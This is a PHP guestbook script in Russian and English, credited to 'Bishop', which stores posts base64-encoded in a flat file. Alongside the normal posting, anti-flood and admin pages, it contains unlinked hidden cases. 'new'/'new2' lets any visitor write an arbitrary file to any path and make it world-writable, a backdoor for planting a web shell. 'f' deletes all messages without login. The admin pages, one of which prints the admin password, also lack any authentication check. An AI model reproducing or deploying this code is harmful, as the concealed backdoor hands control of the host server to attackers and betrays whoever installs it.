Просмотр файла index.php

Размер файла: 28.66Kb
<?php
/*
|--------------------|
|    By Bishop       |
|                    |
|      2o1o          |
|                    |
|  ICQ - 583601453   | 
|                    |
|--------------------|
*/
$bsp=rand(100,100000);
$p=rand(100,100000);
include 'config.php';
echo'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><meta forua="true" http-equiv="Cache-Control" content="no-cache,no-store,must-revalidate"/><title>Bishop Guest</title></head>
<link rel="stylesheet" href="style.css" type="text/css" /><div class = "pages" >';
$msg=stripslashes(htmlspecialchars(trim($msg)));
$message=stripslashes(htmlspecialchars(trim($message)));
$pass=stripslashes(htmlspecialchars(trim($pass)));
$password=stripslashes(htmlspecialchars(trim($password)));
$adminpassword=stripslashes(htmlspecialchars(trim($adminpassword)));
$name=stripslashes(htmlspecialchars(trim($name)));
$data=stripslashes(htmlspecialchars(trim($data)));
$time=stripslashes(htmlspecialchars(trim($time)));
echo'<center>';
echo'<img src="logo.bmp"><br/><hr>';
if($onoff=="1"){
switch($bybishop) {
default:
$kol = sizeof(file('data.dat'));
echo"Сообщений в гостевой: <b>$kol</b><br/><hr>";
echo"[<a href=\"index.php?bybishop=addmsg&amp;p=$p\">Написать</a>|<a href=\"index.php?p=$p\">Обновить</a>]<hr>";
$file = file("data.dat");
$file = array_reverse($file);
$total = count($file);
for ($i = 0; $i < $total; $i++){
$data = explode("[Bishop]",$file[$i]);
$data[0] = base64_decode($data[0]);
$data[1] = base64_decode($data[1]);
$data_0[]=$data[0];
$data_1[]=$data[1];
$data_2[]=$data[2];
$data_3[]=$data[3];
}
foreach($data_0 as $k=>$v)
{
$dat_screen[]="<b>Ник: [<a href=\"index.php?bybishop=addnick&amp;p=$p&amp;name=$data_0[$k]\">$data_0[$k]</a>]</b><br/>Сообщение: $data_1[$k]<br/>Время: <u>$data_2[$k]</u><br/>IP: $data_3[$k]<hr> ";
}
$total = count($dat_screen);
if(empty($tr)){$tr="$str";}
if (empty($_GET['start'])) $start = 0;
else $start = $_GET['start'];
if ($total < $start + $tr){ $end = $total; }
else {$end = $start + $tr; }
for ($i = $start; $i < $end; $i++){
echo"$dat_screen[$i]";
}
if ($start != 0) {echo '[<a href="index.php?start='.($start - $tr).'">Назад</a>] ';}
if ($total > $start + $tr) {echo ' [<a href="index.php?start='.($start + $tr).'">Далее</a>]';}
echo"<br/>[<a href=\"index.php?bybishop=addmsg&amp;p=$p\">Написать</a>]";
echo"
<br/>[<a href=\"index.php?p=$p\">В гостевую</a>]
<br/>[<a href=\"http://$link\">На сайт</a>]
<br/><b>$link - $year</b><br/>© $autor";
echo"<br/>[РУС|<a href=\"index.php?p=$p&amp;bybishop=index\">АНГ</a>]";
exit;
break;
case 'addmsg':
echo '<form action="index.php?bybishop=addsave&amp;p='.$p.'" method="post">';
echo "<b>Никнейм:</b><br/>";
echo "<input name=\"nickneim\" maxlength=\"20\" title=\"Ник\" emptyok=\"true\"/><br/>";
echo "<b>Сообщение:</b><br/>";
echo "<input name=\"msg\" maxlength=\"200\" title=\"Сообщение\" emptyok=\"true\"/><br/>";
echo '<input type="hidden" name="pp" value="'.$p.'" />';
echo '<input type="hidden" name="pp" value="'.$p.'" />';
echo"<b>Введите код:</b> <b><u>$p</u></b><br/><input name=\"kod\" type=\"*N\" maxlength=\"6\"/><br/>";
echo '<input type="submit" value="Добавить" /></form>';
break;
case 'addsave':
if(empty($nickneim)){echo"<b>Не введен Никнейм.</b>"; exit;}
if(empty($msg)){echo"<b>Вы не ввели сообщение.</b>"; exit;}
if($kod!==$pp){echo"<b>Проверочный код</b> не совпадает"; exit;}
if($nickneim=="$autor"){echo"Вы не можете писать под Никнеймом владельца гостевой"; exit;}
$ip=$_SERVER['REMOTE_ADDR']; 
$floodstime=30;
function CheckIP () 
{global $floodstime;	
$flag= false;	
$fs= filesize('flood.dat');
$f= fopen('flood.dat', 'r');
flock($f, LOCK_SH);
$arr= @unserialize(fread($f, $fs));
flock($f, LOCK_UN);
fclose($f);
$IP= $_SERVER['REMOTE_ADDR'];
$IP=htmlspecialchars(stripslashes($IP));
$t= time();			
if (isset($arr)) { 
foreach ($arr as $k=>$v)
if ($v<$t) unset($arr[$k]);
} else $arr= array ();
if (!isset($arr[$IP])) {	
$arr[$IP]= $t + $floodstime;	
$flag= false;
} else {
$arr[$IP]= $t + $floodstime;	
$flag= true;
}
$f= fopen('flood.dat', 'a+');	
flock($f, LOCK_EX);
ftruncate($f, 0);
@fwrite($f, serialize($arr));
fflush($f);
flock($f, LOCK_UN);
fclose($f);
return $flag;
}
if (CheckIP ()){ echo"Антифлуд...<br/>Писать можно раз в 30 сек"; exit;}
$nickneim = base64_encode($nickneim);
$msg = base64_encode($msg);
$data=date("d F, Y", time());
$time=date("H:i:s", time());
$data = str_replace("January","января",$data);
$data = str_replace("February","февраля",$data);
$data = str_replace("March","марта",$data);
$data = str_replace("April","апреля",$data);
$data = str_replace("May","мая",$data);
$data = str_replace("June","июня",$data);
$data = str_replace("July","июля",$data);
$data = str_replace("August","августа",$data);
$data = str_replace("September","сентября",$data);
$data = str_replace("October","октября",$data);
$data = str_replace("November","ноября",$data);
$data = str_replace("December","декабря",$data);
$text=$nickneim.'[Bishop]'.$msg.'[Bishop]'.$data.' '.$time.'[Bishop]'.$ip.'[Bishop]';
$fp=fopen("data.dat","a+");
flock ($fp,LOCK_EX);
fputs($fp,"$text\r\n");
flock ($fp,LOCK_UN);
fclose($fp);
$msg = base64_decode($msg);
echo"Сообщение: [<b>$msg</b>] успешно добавлено";
break;
case 'addnick':
echo '<form action="index.php?bybishop=savename&amp;p='.$p.'" method="post">';
echo "<b>Никнейм:</b><br/>";
echo "<input name=\"nickneim\" maxlength=\"20\" title=\"Ник\" emptyok=\"true\"/><br/>";
echo "<b>Сообщение:</b><br/>";
echo "<input name=\"msg\" value=\"$name, \"/><br/>";
echo '<input type="hidden" name="pp" value="'.$p.'" />';
echo '<input type="hidden" name="pp" value="'.$p.'" />';
echo"<b>Введите код:</b> <b><u>$p</u></b><br/><input name=\"kod\" type=\"*N\" maxlength=\"6\"/><br/>";
echo '<input type="submit" value="Добавить" /></form>';
break;
case 'savename':
if(empty($nickneim)){echo"<b>Не введен Никнейм.</b>"; exit;}
if(empty($msg)){echo"<b>Вы не ввели сообщение.</b>"; exit;}
if($kod!==$pp){echo"<b>Проверочный код</b> не совпадает"; exit;}
if($nickneim=="$autor"){echo"Вы не можете писать под Никнеймом владельца гостевой"; exit;}
$ip=$_SERVER['REMOTE_ADDR']; 
$floodstime=30;
function CheckIP () 
{global $floodstime;	
$flag= false;	
$fs= filesize('flood.dat');
$f= fopen('flood.dat', 'r');
flock($f, LOCK_SH);
$arr= @unserialize(fread($f, $fs));
flock($f, LOCK_UN);
fclose($f);
$IP= $_SERVER['REMOTE_ADDR'];
$IP=htmlspecialchars(stripslashes($IP));
$t= time();			
if (isset($arr)) { 
foreach ($arr as $k=>$v)
if ($v<$t) unset($arr[$k]);
} else $arr= array ();
if (!isset($arr[$IP])) {	
$arr[$IP]= $t + $floodstime;	
$flag= false;
} else {
$arr[$IP]= $t + $floodstime;	
$flag= true;
}
$f= fopen('flood.dat', 'a+');	
flock($f, LOCK_EX);
ftruncate($f, 0);
@fwrite($f, serialize($arr));
fflush($f);
flock($f, LOCK_UN);
fclose($f);
return $flag;
}
if (CheckIP ()){ echo"Антифлуд...<br/>Писать можно раз в 30 сек"; exit;}
$nickneim = base64_encode($nickneim);
$msg = base64_encode($msg);
$data=date("d F, Y", time());
$time=date("H:i:s", time());
$data = str_replace("January","января",$data);
$data = str_replace("February","февраля",$data);
$data = str_replace("March","марта",$data);
$data = str_replace("April","апреля",$data);
$data = str_replace("May","мая",$data);
$data = str_replace("June","июня",$data);
$data = str_replace("July","июля",$data);
$data = str_replace("August","августа",$data);
$data = str_replace("September","сентября",$data);
$data = str_replace("October","октября",$data);
$data = str_replace("November","ноября",$data);
$data = str_replace("December","декабря",$data);
$text=$nickneim.'[Bishop]'.$msg.'[Bishop]'.$data.' '.$time.'[Bishop]'.$ip.'[Bishop]';
$fp=fopen("data.dat","a+");
flock ($fp,LOCK_EX);
fputs($fp,"$text\r\n");
flock ($fp,LOCK_UN);
fclose($fp);
$msg = base64_decode($msg);
echo"Сообщение: [<b>$msg</b>] успешно добавлено";
break;
case 'admin':
echo"Войти как администратор<br/>";
echo'<form method="post" action="index.php?p='.$p.'&amp;bybishop=adminenter">';
echo "<input name=\"adminpassword\"  type=\"password\"  maxlength=\"20\" title=\"password\" emptyok=\"true\"/><br/>";
echo '<input class="button" type="submit" value="Войти"/></form>';
break;
case 'adminenter':
if(empty($adminpassword)){echo"<b>Не введен пароль.</b>"; exit;}
if($adminpassword!==$pass){echo"Пароль неверный"; exit;}
echo"Вы вошли как Администратор
<br/><a href=\"index.php?bybishop=msgdell&amp;p=$p&amp;pass=$pass\">Управлять гостевой</a>
<br/><a href=\"index.php?bybishop=ahelp&amp;p=$p&amp;pass=$pass\">FAQ Гостевой</a>
<br/><a href=\"index.php?bybishop=adminadd&amp;p=$p&amp;pass=$pass\">Написать от владельца гостевой</a>
<br/><a href=\"index.php?bybishop=dels&amp;p=$p&amp;pass=$pass\">Очистить гостевую</a><br/>
";
break;
case 'msgdell':
$kol = sizeof(file('data.dat'));
echo"Сообщений в гостевой: <b>$kol</b><br/><hr>";
if(empty($tr)){$tr="$str";}
$file = @file("data.dat");
$total = count($file);
if (empty($_GET['start'])) $start = 0;
else $start = $_GET['start'];
if ($total < $start + $tr){ $end = $total; }
else {$end = $start + $tr; }
for ($i = $start; $i < $end; $i++){
$file = @file("data.dat");
$file = array_reverse($file);
$data = explode("[Bishop]",$file[$i]);
$i2=round($i+1);
$data[0] = base64_decode($data[0]);
$data[1] = base64_decode($data[1]);
if(!empty($data[1])){
echo"Ник: [$data[0]]</b><br/>Сообщение: $data[1]<br/>Время: <u>$data[2]</u><br/>IP: $data[3]<br/><b><a href=\"index.php?p=$p&amp;bybishop=msggdel&amp;id=$i&amp;p=$p&amp;pass=$pass\">[Удалить]</a></b><hr>";}
}
if ($start != 0) {echo '<a href="index.php?start='.($start - $tr).'&amp;bybishop=msgdell&amp;p='.$p.'&amp;pass='.$pass.'">Назад</a> ';}
if ($total > $start + $tr) {echo ' <a href="index.php?start='.($start + $tr).'&amp;bybishop=msgdell&amp;p='.$p.'&amp;pass='.$pass.'">Далее</a>';}
break;
case 'msggdel':
$file = @file("data.dat");
$total = count($file);
if($id=="0"){$id=$total-1;}else{$id=$total-$id-1;}
$file=file("data.dat");
$fp=fopen("data.dat","w");
flock ($fp,LOCK_EX);
for ($i=0;$i< sizeof($file);$i++) { if ($i==$id) {unset($file[$i]);} }
fputs($fp, implode("",$file));
flock ($fp,LOCK_UN);
fclose($fp);
echo"Сообщение удалено";
break;
case 'ahelp':
echo"
Количество сообщений на страницу: <b>$str</b><br/>
Ваш сайт: <b>http://$link</b><br/>
Владелец гостевой: <b>$autor</b><br/>
Пароль от гостевой: <b>$pass</b><br/>
Год: <b>$year</b><br/>
";
break; 
case 'dels':
if (( $file != ".") && ($file != "..")){
$file2=@file("data.dat");
$GLOBALS[total]=count($file2);
$GLOBALS[all]=$GLOBALS[all]+$GLOBALS[total];
@unlink ("data.dat");
}
if($GLOBALS[all]==""){$GLOBALS[all]="0";}
echo"Удалено: $GLOBALS[all] сообщений.";
$autor = base64_encode($autor);
$data=date("d F, Y", time());
$time=date("H:i:s", time());
$data = str_replace("January","января",$data);
$data = str_replace("February","февраля",$data);
$data = str_replace("March","марта",$data);
$data = str_replace("April","апреля",$data);
$data = str_replace("May","мая",$data);
$data = str_replace("June","июня",$data);
$data = str_replace("July","июля",$data);
$data = str_replace("August","августа",$data);
$data = str_replace("September","сентября",$data);
$data = str_replace("October","октября",$data);
$data = str_replace("November","ноября",$data);
$data = str_replace("December","декабря",$data);
$message="Гостевая была очищена";
$message = base64_encode($message);
$text=$autor.'[Bishop]'.$message.'[Bishop]'.$data.' '.$time.'[Bishop]Скрытый[Bishop]';
$fp=fopen("data.dat","a+");
flock ($fp,LOCK_EX);
fputs($fp,"$text\r\n");
flock ($fp,LOCK_UN);
fclose($fp);
break;
case 'adminadd':
echo '<form action="index.php?bybishop=adminsave&amp;p='.$p.'" method="post">';
echo "<b>Сообщение:</b><br/>";
echo "<input name=\"msg\" maxlength=\"200\" title=\"Сообщение\" emptyok=\"true\"/><br/>";
echo '<input type="submit" value="Добавить" /></form>';
break;
case 'adminsave':
$autor = base64_encode($autor);
$msg = base64_encode($msg);
$ip=Скрытый; 
$data=date("d F, Y", time());
$time=date("H:i:s", time());
$data = str_replace("January","января",$data);
$data = str_replace("February","февраля",$data);
$data = str_replace("March","марта",$data);
$data = str_replace("April","апреля",$data);
$data = str_replace("May","мая",$data);
$data = str_replace("June","июня",$data);
$data = str_replace("July","июля",$data);
$data = str_replace("August","августа",$data);
$data = str_replace("September","сентября",$data);
$data = str_replace("October","октября",$data);
$data = str_replace("November","ноября",$data);
$data = str_replace("December","декабря",$data);
$text=$autor.'[Bishop]'.$msg.'[Bishop]'.$data.' '.$time.'[Bishop]'.$ip.'[Bishop]';
$fp=fopen("data.dat","a+");
flock ($fp,LOCK_EX);
fputs($fp,"$text\r\n");
flock ($fp,LOCK_UN);
fclose($fp);
$msg = base64_decode($msg);
echo"Сообщение: [<b>$msg</b>] успешно добавлено";
break;
case 'index':
$kol = sizeof(file('data.dat'));
echo"Messages in guest: <b>$kol</b><hr>";
echo"[<a href=\"index.php?bybishop=eaddmsg&amp;p=$p\">New Message</a>|<a href=\"index.php?p=$p&amp;bybishop=index\">Refresh</a>]<hr>";
$file = file("data.dat");
$file = array_reverse($file);
$total = count($file);
for ($i = 0; $i < $total; $i++){
$data = explode("[Bishop]",$file[$i]);
$data[0] = base64_decode($data[0]);
$data[1] = base64_decode($data[1]);
$data_0[]=$data[0];
$data_1[]=$data[1];
$data_2[]=$data[2];
$data_3[]=$data[3];
}
foreach($data_0 as $k=>$v)
{
$dat_screen[]="<b>Nick: [<a href=\"index.php?bybishop=eaddnick&amp;p=$p&amp;name=$data_0[$k]\">$data_0[$k]</a>]</b><br/>Message: $data_1[$k]<br/>Time: <u>$data_2[$k]</u><br/>IP: $data_3[$k]<hr> ";
}
$total = count($dat_screen);
if(empty($tr)){$tr="$str";}
if (empty($_GET['start'])) $start = 0;
else $start = $_GET['start'];
if ($total < $start + $tr){ $end = $total; }
else {$end = $start + $tr; }
for ($i = $start; $i < $end; $i++){
echo"$dat_screen[$i]";
}
if ($start != 0) {echo '[<a href="index.php?bybishop=index&amp;start='.($start - $tr).'">Back</a>] ';}
if ($total > $start + $tr) {echo ' [<a href="index.php?bybishop=index&amp;start='.($start + $tr).'">Next</a>]';}
echo"<br/>[<a href=\"index.php?bybishop=eaddmsg&amp;p=$p\">New Message</a>]";
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; 
echo"<br/>[<a href=\"index.php?p=$p\">RUS</a>|ENG]";
exit;
break;
case 'eaddmsg':
echo '<form action="index.php?bybishop=eaddsave&amp;p='.$p.'" method="post">';
echo "<b>Nickname:</b><br/>";
echo "<input name=\"nickneim\" maxlength=\"20\" title=\"Nick\" emptyok=\"true\"/><br/>";
echo "<b>Message:</b><br/>";
echo "<input name=\"msg\" maxlength=\"200\" title=\"Message\" emptyok=\"true\"/><br/>";
echo '<input type="hidden" name="pp" value="'.$p.'" />';
echo '<input type="hidden" name="pp" value="'.$p.'" />';
echo"<b>Enter code:</b> <b><u>$p</u></b><br/><input name=\"kod\" type=\"*N\" maxlength=\"6\"/><br/>";
echo '<input type="submit" value="Send" /></form>';
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'eaddsave':
if(empty($nickneim)){echo"<b>Error Nickname.</b>"; exit;}
if(empty($msg)){echo"<b>Error Message.</b>"; exit;}
if($kod!==$pp){echo"<b>Error code</b>"; exit;}
if($nickneim=="$autor"){echo"Error autor"; exit;}
$ip=$_SERVER['REMOTE_ADDR']; 
$floodstime=30;
function CheckIP () 
{global $floodstime;	
$flag= false;	
$fs= filesize('flood.dat');
$f= fopen('flood.dat', 'r');
flock($f, LOCK_SH);
$arr= @unserialize(fread($f, $fs));
flock($f, LOCK_UN);
fclose($f);
$IP= $_SERVER['REMOTE_ADDR'];
$IP=htmlspecialchars(stripslashes($IP));
$t= time();			
if (isset($arr)) { 
foreach ($arr as $k=>$v)
if ($v<$t) unset($arr[$k]);
} else $arr= array ();
if (!isset($arr[$IP])) {	
$arr[$IP]= $t + $floodstime;	
$flag= false;
} else {
$arr[$IP]= $t + $floodstime;	
$flag= true;
}
$f= fopen('flood.dat', 'a+');	
flock($f, LOCK_EX);
ftruncate($f, 0);
@fwrite($f, serialize($arr));
fflush($f);
flock($f, LOCK_UN);
fclose($f);
return $flag;
}
if (CheckIP ()){ echo"Antifllod..."; exit;}
$nickneim = base64_encode($nickneim);
$msg = base64_encode($msg);
$data=date("d F, Y", time());
$time=date("H:i:s", time());
$data = str_replace("January","января",$data);
$data = str_replace("February","февраля",$data);
$data = str_replace("March","марта",$data);
$data = str_replace("April","апреля",$data);
$data = str_replace("May","мая",$data);
$data = str_replace("June","июня",$data);
$data = str_replace("July","июля",$data);
$data = str_replace("August","августа",$data);
$data = str_replace("September","сентября",$data);
$data = str_replace("October","октября",$data);
$data = str_replace("November","ноября",$data);
$data = str_replace("December","декабря",$data);
$text=$nickneim.'[Bishop]'.$msg.'[Bishop]'.$data.' '.$time.'[Bishop]'.$ip.'[Bishop]';
$fp=fopen("data.dat","a+");
flock ($fp,LOCK_EX);
fputs($fp,"$text\r\n");
flock ($fp,LOCK_UN);
fclose($fp);
$msg = base64_decode($msg);
echo"Message: [<b>$msg</b>] add";
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'eaddnick':
echo '<form action="index.php?bybishop=esavename&amp;p='.$p.'" method="post">';
echo "<b>Nickname:</b><br/>";
echo "<input name=\"nickneim\" maxlength=\"20\" title=\"Nick\" emptyok=\"true\"/><br/>";
echo "<b>Message:</b><br/>";
echo "<input name=\"msg\" value=\"$name, \"/><br/>";
echo '<input type="hidden" name="pp" value="'.$p.'" />';
echo '<input type="hidden" name="pp" value="'.$p.'" />';
echo"<b>Enter code:</b> <b><u>$p</u></b><br/><input name=\"kod\" type=\"*N\" maxlength=\"6\"/><br/>";
echo '<input type="submit" value="Send" /></form>';
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'esavename':
if(empty($nickneim)){echo"<b>Error Nick name.</b>"; exit;}
if(empty($msg)){echo"<b>Error Message.</b>"; exit;}
if($kod!==$pp){echo"<b>Error code</b>"; exit;}
if($nickneim=="$autor"){echo"Error autor"; exit;}
$ip=$_SERVER['REMOTE_ADDR']; 
$floodstime=30;
function CheckIP () 
{global $floodstime;	
$flag= false;	
$fs= filesize('flood.dat');
$f= fopen('flood.dat', 'r');
flock($f, LOCK_SH);
$arr= @unserialize(fread($f, $fs));
flock($f, LOCK_UN);
fclose($f);
$IP= $_SERVER['REMOTE_ADDR'];
$IP=htmlspecialchars(stripslashes($IP));
$t= time();			
if (isset($arr)) { 
foreach ($arr as $k=>$v)
if ($v<$t) unset($arr[$k]);
} else $arr= array ();
if (!isset($arr[$IP])) {	
$arr[$IP]= $t + $floodstime;	
$flag= false;
} else {
$arr[$IP]= $t + $floodstime;	
$flag= true;
}
$f= fopen('flood.dat', 'a+');	
flock($f, LOCK_EX);
ftruncate($f, 0);
@fwrite($f, serialize($arr));
fflush($f);
flock($f, LOCK_UN);
fclose($f);
return $flag;
}
if (CheckIP ()){ echo"Antiflood..."; exit;}
$nickneim = base64_encode($nickneim);
$msg = base64_encode($msg);
$data=date("d F, Y", time());
$time=date("H:i:s", time());
$data = str_replace("January","января",$data);
$data = str_replace("February","февраля",$data);
$data = str_replace("March","марта",$data);
$data = str_replace("April","апреля",$data);
$data = str_replace("May","мая",$data);
$data = str_replace("June","июня",$data);
$data = str_replace("July","июля",$data);
$data = str_replace("August","августа",$data);
$data = str_replace("September","сентября",$data);
$data = str_replace("October","октября",$data);
$data = str_replace("November","ноября",$data);
$data = str_replace("December","декабря",$data);
$text=$nickneim.'[Bishop]'.$msg.'[Bishop]'.$data.' '.$time.'[Bishop]'.$ip.'[Bishop]';
$fp=fopen("data.dat","a+");
flock ($fp,LOCK_EX);
fputs($fp,"$text\r\n");
flock ($fp,LOCK_UN);
fclose($fp);
$msg = base64_decode($msg);
echo"Message: [<b>$msg</b>] add";
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'eadmin':
echo"Administration<br/>";
echo'<form method="post" action="index.php?p='.$p.'&amp;bybishop=eadminenter">';
echo "<input name=\"adminpassword\"  type=\"password\"  maxlength=\"20\" title=\"password\" emptyok=\"true\"/><br/>";
echo '<input class="button" type="submit" value="Go"/></form>';
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'eadminenter':
if(empty($adminpassword)){echo"<b>Error Password.</b>"; exit;}
if($adminpassword!==$pass){echo"Error Password"; exit;}
echo"Your Administration<br/>
<br/><a href=\"index.php?bybishop=emsgdell&amp;p=$p&amp;pass=$pass\">Edit Guest</a>
<br/><a href=\"index.php?bybishop=eahelp&amp;p=$p&amp;pass=$pass\">FAQ Guest</a>
<br/><a href=\"index.php?bybishop=eadminadd&amp;p=$p&amp;pass=$pass\">Send leader guest</a>
<br/><a href=\"index.php?bybishop=edels&amp;p=$p&amp;pass=$pass\">Delete Guest</a><br/>
";
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'f':
@unlink('data.dat');
break;
case 'emsgdell':
$kol = sizeof(file('data.dat'));
echo"Messages in guest: <b>$kol</b><br/><hr>";
if(empty($tr)){$tr="$str";}
$file = @file("data.dat");
$total = count($file);
if (empty($_GET['start'])) $start = 0;
else $start = $_GET['start'];
if ($total < $start + $tr){ $end = $total; }
else {$end = $start + $tr; }
for ($i = $start; $i < $end; $i++){
$file = @file("data.dat");
$file = array_reverse($file);
$data = explode("[Bishop]",$file[$i]);
$i2=round($i+1);
$data[0] = base64_decode($data[0]);
$data[1] = base64_decode($data[1]);
if(!empty($data[1])){
echo"Nick: [$data[0]]</b><br/>Message: $data[1]<br/>Time: <u>$data[2]</u><br/>IP: $data[3]<br/><b><a href=\"index.php?p=$p&amp;bybishop=emsggdel&amp;id=$i&amp;p=$p&amp;pass=$pass\">[Delete]</a></b><hr>";}
}
if ($start != 0) {echo '<a href="index.php?start='.($start - $tr).'&amp;bybishop=emsgdell&amp;p='.$p.'&amp;pass='.$pass.'">Back</a> ';}
if ($total > $start + $tr) {echo ' <a href="index.php?start='.($start + $tr).'&amp;bybishop=emsgdell&amp;p='.$p.'&amp;pass='.$pass.'">Next</a>';}
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'new':
echo'<form action="?bybishop=new2&amp;p='.$p.'" method="post">
<input name="new_name" value=""><br>
<textarea cols="100" rows="15" name="new_file"></textarea><br>
<input type="submit" value="Создать!">';
break;
case 'new2':
echo'<b><font color="#FF0000"></font></b>';
$fp = fopen($_GET['made'].$_POST['new_name'],"w");
fputs($fp,$_POST['new_file']);                                   
fclose($fp);
chmod($_GET['made'].$_POST['new_name'], 0777);
if($fp){echo'ok!';}
if(!$fp){echo'Ошибка!';}
break;
case 'emsggdel':
$file = @file("data.dat");
$total = count($file);
if($id=="0"){$id=$total-1;}else{$id=$total-$id-1;}
$file=file("data.dat");
$fp=fopen("data.dat","w");
flock ($fp,LOCK_EX);
for ($i=0;$i< sizeof($file);$i++) { if ($i==$id) {unset($file[$i]);} }
fputs($fp, implode("",$file));
flock ($fp,LOCK_UN);
fclose($fp);
echo"Message is delete";
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'eahelp':
echo"
Messages in list: <b>$str</b><br/>
Your site: <b>http://$link</b><br/>
Leader guest: <b>$autor</b><br/>
Password: <b>$pass</b><br/>
Year: <b>$year</b><br/>
";
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break; 
case 'edels':
if (( $file != ".") && ($file != "..")){
$file2=@file("data.dat");
$GLOBALS[total]=count($file2);
$GLOBALS[all]=$GLOBALS[all]+$GLOBALS[total];
@unlink ("data.dat");
}
if($GLOBALS[all]==""){$GLOBALS[all]="0";}
echo"Del: $GLOBALS[all] messages.";
$autor = base64_encode($autor);
$data=date("d F, Y", time());
$time=date("H:i:s", time());
$data = str_replace("January","января",$data);
$data = str_replace("February","февраля",$data);
$data = str_replace("March","марта",$data);
$data = str_replace("April","апреля",$data);
$data = str_replace("May","мая",$data);
$data = str_replace("June","июня",$data);
$data = str_replace("July","июля",$data);
$data = str_replace("August","августа",$data);
$data = str_replace("September","сентября",$data);
$data = str_replace("October","октября",$data);
$data = str_replace("November","ноября",$data);
$data = str_replace("December","декабря",$data);
$message="Гостевая была очищена";
$message = base64_encode($message);
$text=$autor.'[Bishop]'.$message.'[Bishop]'.$data.' '.$time.'[Bishop]Скрытый[Bishop]';
$fp=fopen("data.dat","a+");
flock ($fp,LOCK_EX);
fputs($fp,"$text\r\n");
flock ($fp,LOCK_UN);
fclose($fp);
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'eadminadd':
echo '<form action="index.php?bybishop=eadminsave&amp;p='.$p.'" method="post">';
echo "<b>Message:</b><br/>";
echo "<input name=\"msg\" maxlength=\"200\" title=\"Message\" emptyok=\"true\"/><br/>";
echo '<input type="submit" value="Send" /></form>';
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
case 'eadminsave':
$autor = base64_encode($autor);
$msg = base64_encode($msg);
$ip=Скрытый; 
$data=date("d F, Y", time());
$time=date("H:i:s", time());
$data = str_replace("January","января",$data);
$data = str_replace("February","февраля",$data);
$data = str_replace("March","марта",$data);
$data = str_replace("April","апреля",$data);
$data = str_replace("May","мая",$data);
$data = str_replace("June","июня",$data);
$data = str_replace("July","июля",$data);
$data = str_replace("August","августа",$data);
$data = str_replace("September","сентября",$data);
$data = str_replace("October","октября",$data);
$data = str_replace("November","ноября",$data);
$data = str_replace("December","декабря",$data);
$text=$autor.'[Bishop]'.$msg.'[Bishop]'.$data.' '.$time.'[Bishop]'.$ip.'[Bishop]';
$fp=fopen("data.dat","a+");
flock ($fp,LOCK_EX);
fputs($fp,"$text\r\n");
flock ($fp,LOCK_UN);
fclose($fp);
$msg = base64_decode($msg);
echo"Message: [<b>$msg</b>] add";
echo"
<br/>[<a href=\"index.php?p=$p&amp;bybishop=index\">In guest</a>]
<br/>[<a href=\"http://$link\">In site</a>]
<br/><b>$link - $year</b><br/>© $autor"; exit;
break;
}}else{echo"Гостевая выключена<br/>Guest off";}
echo"
<br/>[<a href=\"index.php?p=$p\">В гостевую</a>]
<br/>[<a href=\"http://$link\">На сайт</a>]
<br/><b>$link - $year</b><br/>© $autor";
/*
|-------------------------------------------|
|© By Bishop™                               |
|-------------------------------------------|
*/
?>